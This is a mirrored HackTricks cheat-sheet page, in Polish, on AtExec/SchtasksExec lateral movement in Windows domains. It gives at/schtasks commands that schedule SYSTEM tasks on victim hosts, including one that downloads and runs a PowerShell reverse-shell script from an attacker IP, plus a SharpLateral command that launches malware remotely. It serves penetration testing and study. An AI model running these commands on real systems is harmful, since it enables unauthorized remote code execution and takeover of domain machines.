mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-26 11:55:06 +00:00
64 lines
3.4 KiB
Markdown
64 lines
3.4 KiB
Markdown
|
# AtExec / SchtasksExec
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Jak to działa
|
||
|
|
||
|
At pozwala na planowanie zadań na hostach, gdzie znasz nazwę użytkownika/(hasło/Hash). Możesz go użyć do wykonywania poleceń na innych hostach i uzyskiwania wyników.
|
||
|
```
|
||
|
At \\victim 11:00:00PM shutdown -r
|
||
|
```
|
||
|
Używając schtasks, musisz najpierw utworzyć zadanie, a następnie je wywołać:
|
||
|
|
||
|
{% code overflow="wrap" %}
|
||
|
```bash
|
||
|
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
|
||
|
schtasks /run /tn <TASK_NAME> /S <VICTIM>
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
{% code overflow="wrap" %}
|
||
|
```bash
|
||
|
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
|
||
|
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
Możesz również użyć [SharpLateral](https://github.com/mertdas/SharpLateral):
|
||
|
|
||
|
{% code overflow="wrap" %}
|
||
|
```bash
|
||
|
SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
Więcej informacji na temat [**użycia schtasks z srebrnymi biletami tutaj**](../active-directory-methodology/silver-ticket.md#host).
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Wsparcie HackTricks</summary>
|
||
|
|
||
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|